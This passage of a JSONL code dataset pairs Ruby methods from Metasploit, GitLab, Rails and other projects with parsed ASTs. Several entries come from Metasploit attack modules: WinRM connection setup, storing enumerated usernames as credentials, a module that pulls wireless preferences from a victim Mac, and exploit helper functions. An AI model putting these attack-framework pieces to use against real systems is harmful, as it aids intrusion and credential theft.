tr\",\"children\":[\"killed thread\"]},{\"type\":\"regopt\",\"children\":[]}]}]},null,{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"lvar\",\"children\":[\"e\"]}]}]}]},null]}]},{\"type\":\"send\",\"children\":[null,\"sleep\",{\"type\":\"int\",\"children\":[0]}]}]}]}]},null]}]}","id":"d5670bb2-6737-4d01-828e-264ee86d2cb5"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/auxiliary/gather/ldap_esc_vulnerable_cert_finder.rb","start_line":353,"raw_source":"def create_winrm_connection(host, domain, user, timeout)\n    endpoint = \"http://#{host}:5985/wsman\"\n    WinRM::Connection.new(\n      endpoint: endpoint,\n      domain: domain,\n      user: user,\n      password: datastore['LDAPPassword'],\n      transport: :negotiate,\n      operation_timeout: timeout\n    )\n  end","complexity_score":4.6,"ast_json":"{\"type\":\"def\",\"children\":[\"create_winrm_connection\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"host\"]},{\"type\":\"arg\",\"children\":[\"domain\"]},{\"type\":\"arg\",\"children\":[\"user\"]},{\"type\":\"arg\",\"children\":[\"timeout\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"endpoint\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"http://\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"host\"]}]},{\"type\":\"str\",\"children\":[\":5985/wsman\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"WinRM\"]},\"Connection\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"endpoint\"]},{\"type\":\"lvar\",\"children\":[\"endpoint\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"domain\"]},{\"type\":\"lvar\",\"children\":[\"domain\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"user\"]},{\"type\":\"lvar\",\"children\":[\"user\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"password\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"LDAPPassword\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"transport\"]},{\"type\":\"sym\",\"children\":[\"negotiate\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"operation_timeout\"]},{\"type\":\"lvar\",\"children\":[\"timeout\"]}]}]}]}]}]}","id":"c7d14445-788a-45cf-9005-69e15b66d31e"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/environments/reset_auto_stop_service.rb","start_line":5,"raw_source":"def execute(environment)\n      return error(_('Failed to cancel auto stop because you do not have permission to update the environment.')) unless can_update_environment?(environment)\n      return error(_('Failed to cancel auto stop because the environment is not set as auto stop.')) unless environment.auto_stop_at?\n\n      if environment.reset_auto_stop\n        success\n      else\n        error(_('Failed to cancel auto stop because failed to update the environment.'))\n      end\n    end","complexity_score":14.3,"ast_json":"{\"type\":\"def\",\"children\":[\"execute\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"environment\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"can_update_environment?\",{\"type\":\"lvar\",\"children\":[\"environment\"]}]},null,{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[null,\"error\",{\"type\":\"send\",\"children\":[null,\"_\",{\"type\":\"str\",\"children\":[\"Failed to cancel auto stop because you do not have permission to update the environment.\"]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"environment\"]},\"auto_stop_at?\"]},null,{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[null,\"error\",{\"type\":\"send\",\"children\":[null,\"_\",{\"type\":\"str\",\"children\":[\"Failed to cancel auto stop because the environment is not set as auto stop.\"]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"environment\"]},\"reset_auto_stop\"]},{\"type\":\"send\",\"children\":[null,\"success\"]},{\"type\":\"send\",\"children\":[null,\"error\",{\"type\":\"send\",\"children\":[null,\"_\",{\"type\":\"str\",\"children\":[\"Failed to cancel auto stop because failed to update the environment.\"]}]}]}]}]}]}","id":"d335da4e-bb4a-4a0b-bd3a-404aa78db676"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/auxiliary/scanner/http/gitlab_graphql_user_enum.rb","start_line":119,"raw_source":"def store_username(username, json)\n    connection_details = {\n      module_fullname: fullname,\n      workspace_id: myworkspace_id,\n      username: username,\n      proof: json,\n      status: Metasploit::Model::Login::Status::UNTRIED\n    }.merge(service_details)\n    create_credential_and_login(connection_details)\n  end","complexity_score":6.6,"ast_json":"{\"type\":\"def\",\"children\":[\"store_username\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"username\"]},{\"type\":\"arg\",\"children\":[\"json\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"connection_details\",{\"type\":\"send\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"module_fullname\"]},{\"type\":\"send\",\"children\":[null,\"fullname\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"workspace_id\"]},{\"type\":\"send\",\"children\":[null,\"myworkspace_id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"username\"]},{\"type\":\"lvar\",\"children\":[\"username\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"proof\"]},{\"type\":\"lvar\",\"children\":[\"json\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"status\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Metasploit\"]},\"Model\"]},\"Login\"]},\"Status\"]},\"UNTRIED\"]}]}]},\"merge\",{\"type\":\"send\",\"children\":[null,\"service_details\"]}]}]},{\"type\":\"send\",\"children\":[null,\"create_credential_and_login\",{\"type\":\"lvar\",\"children\":[\"connection_details\"]}]}]}]}","id":"94aa4c3c-54b6-4eeb-8198-09814a1f062f"}
{"repo_name":"doorkeeper","file_path":"./repos/doorkeeper/lib/doorkeeper/oauth/password_access_token_request.rb","start_line":27,"raw_source":"def before_successful_response\n        find_or_create_access_token(client, resource_owner, scopes, {}, server)\n        super\n      end","complexity_score":5.8,"ast_json":"{\"type\":\"def\",\"children\":[\"before_successful_response\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"find_or_create_access_token\",{\"type\":\"send\",\"children\":[null,\"client\"]},{\"type\":\"send\",\"children\":[null,\"resource_owner\"]},{\"type\":\"send\",\"children\":[null,\"scopes\"]},{\"type\":\"hash\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"server\"]}]},{\"type\":\"zsuper\",\"children\":[]}]}]}","id":"2b5e1001-b90f-4e66-b3e7-04383d5d0423"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/import/bulk_imports/source_users_mapper.rb","start_line":27,"raw_source":"def [](user_identifier)\n          return ghost_user_id if @source_ghost_user_id.to_s == user_identifier.to_s\n\n          @source_user_mapper.find_source_user(user_identifier)&.mapped_user_id\n        end","complexity_score":7.8,"ast_json":"{\"type\":\"def\",\"children\":[\"[]\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"user_identifier\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@source_ghost_user_id\"]},\"to_s\"]},\"==\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user_identifier\"]},\"to_s\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[null,\"ghost_user_id\"]}]},null]},{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@source_user_mapper\"]},\"find_source_user\",{\"type\":\"lvar\",\"children\":[\"user_identifier\"]}]},\"mapped_user_id\"]}]}]}","id":"9d9ba30d-55d4-4581-961e-420704f04cd8"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/post/osx/gather/enum_airport.rb","start_line":8,"raw_source":"def initialize(info = {})\n    super(\n      update_info(\n        info,\n        'Name' => 'OS X Gather Airport Wireless Preferences',\n        'Description' => %q{\n          This module will download OS X Airport Wireless preferences from the victim\n          machine.  The preferences file (which is a plist) contains information such as:\n          SSID, Channels, Security Type, Password ID, etc.\n        },\n        'License' => MSF_LICENSE,\n        'Author' => [ 'sinn3r'],\n        'Platform' => [ 'osx' ],\n        'SessionTypes' => [ 'meterpreter', 'shell' ],\n        'Notes' => {\n          'Stability' => [CRASH_SAFE],\n          'SideEffects' => [],\n          'Reliability' => []\n        }\n      )\n    )\n  end","complexity_score":3.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"info\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"super\",\"children\":[{\"type\":\"send\",\"children\":[null,\"update_info\",{\"type\":\"lvar\",\"children\":[\"info\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Name\"]},{\"type\":\"str\",\"children\":[\"OS X Gather Airport Wireless Preferences\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Description\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"          This module will download OS X Airport Wireless preferences from the victim\\n\"]},{\"type\":\"str\",\"children\":[\"          machine.  The preferences file (which is a plist) contains information such as:\\n\"]},{\"type\":\"str\",\"children\":[\"          SSID, Channels, Security Type, Password ID, etc.\\n\"]},{\"type\":\"str\",\"children\":[\"        \"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"License\"]},{\"type\":\"const\",\"children\":[null,\"MSF_LICENSE\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Author\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"sinn3r\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Platform\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"osx\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SessionTypes\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"meterpreter\"]},{\"type\":\"str\",\"children\":[\"shell\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Notes\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Stability\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CRASH_SAFE\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SideEffects\"]},{\"type\":\"array\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Reliability\"]},{\"type\":\"array\",\"children\":[]}]}]}]}]}]}]}]}","id":"47607202-e127-4c1e-95f4-3c950d829bcd"}
{"repo_name":"discourse","file_path":"./repos/discourse/lib/post_revisor.rb","start_line":419,"raw_source":"def original_cooked=(val)\n    @cached_original_cooked = val\n    Discourse.redis.setex(original_cooked_key, SiteSetting.editing_grace_period + 1, val)\n  end","complexity_score":7.35,"ast_json":"{\"type\":\"def\",\"children\":[\"original_cooked=\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"val\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@cached_original_cooked\",{\"type\":\"lvar\",\"children\":[\"val\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Discourse\"]},\"redis\"]},\"setex\",{\"type\":\"send\",\"children\":[null,\"original_cooked_key\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SiteSetting\"]},\"editing_grace_period\"]},\"+\",{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"lvar\",\"children\":[\"val\"]}]}]}]}","id":"198cfc34-fc90-464c-af79-0d82e9c1872d"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/windows/browser/ntr_activex_check_bof.rb","start_line":149,"raw_source":"def resource_uri\n    path = random_uri\n    path << random_uri\n    return path\n  end","complexity_score":4.2,"ast_json":"{\"type\":\"def\",\"children\":[\"resource_uri\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"path\",{\"type\":\"send\",\"children\":[null,\"random_uri\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"path\"]},\"<<\",{\"type\":\"send\",\"children\":[null,\"random_uri\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"lvar\",\"children\":[\"path\"]}]}]}]}","id":"504d245e-c483-48b4-a4ed-023d5f6a2b1d"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/tools/miq_config_sssd_ldap/converter.rb","start_line":44,"raw_source":"def exit_if_sssd_is_already_configured\n      if File.exist?(SSSD_CONF_FILE)\n        puts(SSSD_ALREADY_CONFIGURED)\n        LOGGER.error(SSSD_ALREADY_CONFIGURED)\n        exit\n      end\n    end","complexity_score":5.6,"ast_json":"{\"type\":\"def\",\"children\":[\"exit_if_sssd_is_already_configured\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"exist?\",{\"type\":\"const\",\"children\":[null,\"SSSD_CONF_FILE\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"puts\",{\"type\":\"const\",\"children\":[null,\"SSSD_ALREADY_CONFIGURED\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"LOGGER\"]},\"error\",{\"type\":\"const\",\"children\":[null,\"SSSD_ALREADY_CONFIGURED\"]}]},{\"type\":\"send\",\"children\":[null,\"exit\"]}]},null]}]}","id":"3e25ec7c-0600-44d3-8c4a-0c6ad40544a3"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/core/exploit/remote/http/kubernetes/enumeration.rb","start_line":212,"raw_source":"def parse_private_key(data)\n    passphrase = nil\n    ask_passphrase = false\n\n    private_key = Net::SSH::KeyFactory.load_data_private_key(data, passphrase, ask_passphrase)\n    private_key\n  rescue StandardError => _e\n    nil\n  end","complexity_score":6.9,"ast_json":"{\"type\":\"def\",\"children\":[\"parse_private_key\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"data\"]}]},{\"type\":\"rescue\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"passphrase\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"ask_passphrase\",{\"type\":\"false\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"private_key\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Net\"]},\"SSH\"]},\"KeyFactory\"]},\"load_data_private_key\",{\"type\":\"lvar\",\"children\":[\"data\"]},{\"type\":\"lvar\",\"children\":[\"passphrase\"]},{\"type\":\"lvar\",\"children\":[\"ask_passphrase\"]}]}]},{\"type\":\"lvar\",\"children\":[\"private_key\"]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"StandardError\"]}]},{\"type\":\"lvasgn\",\"children\":[\"_e\"]},{\"type\":\"nil\",\"children\":[]}]},null]}]}","id":"c3825adc-7c43-4980-82c4-e4fd15c5b54a"}
{"repo_name":"rack","file_path":"./repos/rack/test/spec_headers.rb","start_line":443,"raw_source":"def test_compact!\n    fh = @fh.dup\n    assert_nil(@fh.compact!)\n    assert_equal(fh, @fh)\n\n    h = Rack::Headers['Ab'=>1, 'cd'=>nil]\n    assert_equal(Rack::Headers['aB'=>1], h.compact!)\n    assert_equal(Rack::Headers['AB'=>1], h)\n  end","complexity_score":13.8,"ast_json":"{\"type\":\"def\",\"children\":[\"test_compact!\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"fh\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@fh\"]},\"dup\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_nil\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@fh\"]},\"compact!\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"lvar\",\"children\":[\"fh\"]},{\"type\":\"ivar\",\"children\":[\"@fh\"]}]},{\"type\":\"lvasgn\",\"children\":[\"h\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rack\"]},\"Headers\"]},\"[]\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Ab\"]},{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"cd\"]},{\"type\":\"nil\",\"children\":[]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rack\"]},\"Headers\"]},\"[]\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"aB\"]},{\"type\":\"int\",\"children\":[1]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"h\"]},\"compact!\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rack\"]},\"Headers\"]},\"[]\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"AB\"]},{\"type\":\"int\",\"children\":[1]}]}]}]},{\"type\":\"lvar\",\"children\":[\"h\"]}]}]}]}","id":"cf5de7a8-1951-4da0-9d34-44eb895d24e1"}
{"repo_name":"fastlane","file_path":"./repos/fastlane/fastlane/lib/fastlane/actions/upload_to_play_store_internal_app_sharing.rb","start_line":47,"raw_source":"def self.available_options\n        require 'supply'\n        require 'supply/options'\n        options = Supply::Options.available_options.clone\n\n        # remove all the unnecessary (for this action) options\n        options_to_keep = [:package_name, :apk, :apk_paths, :aab, :aab_paths, :json_key, :json_key_data, :root_url, :timeout]\n        options.delete_if { |option| options_to_keep.include?(option.key) == false }\n      end","complexity_score":12.1,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"available_options\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"require\",{\"type\":\"str\",\"children\":[\"supply\"]}]},{\"type\":\"send\",\"children\":[null,\"require\",{\"type\":\"str\",\"children\":[\"supply/options\"]}]},{\"type\":\"lvasgn\",\"children\":[\"options\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Supply\"]},\"Options\"]},\"available_options\"]},\"clone\"]}]},{\"type\":\"lvasgn\",\"children\":[\"options_to_keep\",{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"package_name\"]},{\"type\":\"sym\",\"children\":[\"apk\"]},{\"type\":\"sym\",\"children\":[\"apk_paths\"]},{\"type\":\"sym\",\"children\":[\"aab\"]},{\"type\":\"sym\",\"children\":[\"aab_paths\"]},{\"type\":\"sym\",\"children\":[\"json_key\"]},{\"type\":\"sym\",\"children\":[\"json_key_data\"]},{\"type\":\"sym\",\"children\":[\"root_url\"]},{\"type\":\"sym\",\"children\":[\"timeout\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"delete_if\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"option\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options_to_keep\"]},\"include?\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"option\"]},\"key\"]}]},\"==\",{\"type\":\"false\",\"children\":[]}]}]}]}]}","id":"2a9cd39e-6b6b-4dd4-9787-6fbb2b68bc31"}
{"repo_name":"discourse","file_path":"./repos/discourse/plugins/automation/lib/discourse_automation/triggerable.rb","start_line":9,"raw_source":"def initialize(name, automation = nil)\n      @name = name\n      @placeholders = []\n      @fields = []\n      @settings = { MANUAL_TRIGGER_KEY => false }\n      @on_update_block = proc {}\n      @on_call_block = proc {}\n      @not_found = false\n      @validations = []\n      @automation = automation\n\n      eval! if @name\n    end","complexity_score":16.1,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"name\"]},{\"type\":\"optarg\",\"children\":[\"automation\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@name\",{\"type\":\"lvar\",\"children\":[\"name\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@placeholders\",{\"type\":\"array\",\"children\":[]}]},{\"type\":\"ivasgn\",\"children\":[\"@fields\",{\"type\":\"array\",\"children\":[]}]},{\"type\":\"ivasgn\",\"children\":[\"@settings\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"const\",\"children\":[null,\"MANUAL_TRIGGER_KEY\"]},{\"type\":\"false\",\"children\":[]}]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@on_update_block\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"proc\"]},{\"type\":\"args\",\"children\":[]},null]}]},{\"type\":\"ivasgn\",\"children\":[\"@on_call_block\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"proc\"]},{\"type\":\"args\",\"children\":[]},null]}]},{\"type\":\"ivasgn\",\"children\":[\"@not_found\",{\"type\":\"false\",\"children\":[]}]},{\"type\":\"ivasgn\",\"children\":[\"@validations\",{\"type\":\"array\",\"children\":[]}]},{\"type\":\"ivasgn\",\"children\":[\"@automation\",{\"type\":\"lvar\",\"children\":[\"automation\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@name\"]},{\"type\":\"send\",\"children\":[null,\"eval!\"]},null]}]}]}","id":"b1af44e2-395b-4822-961a-f16e298b8549"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/linux/http/pulse_secure_gzip_rce.rb","start_line":146,"raw_source":"def res_get_xsauth(res)\n    res.body.scan(%r{name=\"xsauth\" value=\"([^\"]+)\"/>})&.last&.first\n  end","complexity_score":5.7,"ast_json":"{\"type\":\"def\",\"children\":[\"res_get_xsauth\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"res\"]}]},{\"type\":\"csend\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"body\"]},\"scan\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"name=\\\"xsauth\\\" value=\\\"([^\\\"]+)\\\"/>\"]},{\"type\":\"regopt\",\"children\":[]}]}]},\"last\"]},\"first\"]}]}","id":"2c7a0c4b-2c7e-4e25-b7d7-4a809e2f6997"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/linux/local/polkit_dbus_auth_bypass.rb","start_line":241,"raw_source":"def cmd_exec(*args)\n    result = super\n    result.gsub(/(\\e\\(B)?\\e\\[([;\\d]+)?m/, '') # remove ANSI escape sequences from the command output\n  end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"cmd_exec\",{\"type\":\"args\",\"children\":[{\"type\":\"restarg\",\"children\":[\"args\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"result\",{\"type\":\"zsuper\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"gsub\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"(\\\\e\\\\(B)?\\\\e\\\\[([;\\\\d]+)?m\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"str\",\"children\":[\"\"]}]}]}]}","id":"312ef6af-5240-4b54-bd9c-4ad0346ae433"}
{"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cop/offense.rb","start_line":183,"raw_source":"def last_line\n        location.last_line\n      end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"last_line\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"location\"]},\"last_line\"]}]}","id":"45cc0533-a483-4458-ac1c-82fc15aa5cb0"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/workers/exports/export_job.rb","start_line":130,"raw_source":"def store_from_string(export, export_result)\n      with_tempfile(export_result.title, export_result.content) do |file|\n        store_attachment(export, file, export_result)\n      end\n    end","complexity_score":5.5,"ast_json":"{\"type\":\"def\",\"children\":[\"store_from_string\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"export\"]},{\"type\":\"arg\",\"children\":[\"export_result\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"with_tempfile\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"export_result\"]},\"title\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"export_result\"]},\"content\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"file\"]}]},{\"type\":\"send\",\"children\":[null,\"store_attachment\",{\"type\":\"lvar\",\"children\":[\"export\"]},{\"type\":\"lvar\",\"children\":[\"file\"]},{\"type\":\"lvar\",\"children\":[\"export_result\"]}]}]}]}","id":"ea7274c5-bbf7-4cbe-93be-55a0e03e5bf8"}
{"repo_name":"rails","file_path":"./repos/rails/activesupport/test/cache/stores/memory_store_test.rb","start_line":76,"raw_source":"def test_namespaced_write_with_unless_exist\n    namespaced_cache = lookup_store(expires_in: 60, namespace: \"foo\")\n\n    assert_equal true, namespaced_cache.write(1, \"aaaaaaaaaa\")\n    assert_equal false, namespaced_cache.write(1, \"aaaaaaaaaa\", unless_exist: true)\n    namespaced_cache.write(1, nil)\n    assert_equal false, namespaced_cache.write(1, \"aaaaaaaaaa\", unless_exist: true)\n  end","complexity_score":11.25,"ast_json":"{\"type\":\"def\",\"children\":[\"test_namespaced_write_with_unless_exist\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"namespaced_cache\",{\"type\":\"send\",\"children\":[null,\"lookup_store\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"expires_in\"]},{\"type\":\"int\",\"children\":[60]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"namespace\"]},{\"type\":\"str\",\"children\":[\"foo\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"true\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"namespaced_cache\"]},\"write\",{\"type\":\"int\",\"children\":[1]},{\"type\":\"str\",\"children\":[\"aaaaaaaaaa\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"false\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"namespaced_cache\"]},\"write\",{\"type\":\"int\",\"children\":[1]},{\"type\":\"str\",\"children\":[\"aaaaaaaaaa\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"unless_exist\"]},{\"type\":\"true\",\"children\":[]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"namespaced_cache\"]},\"write\",{\"type\":\"int\",\"children\":[1]},{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"false\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"namespaced_cache\"]},\"write\",{\"t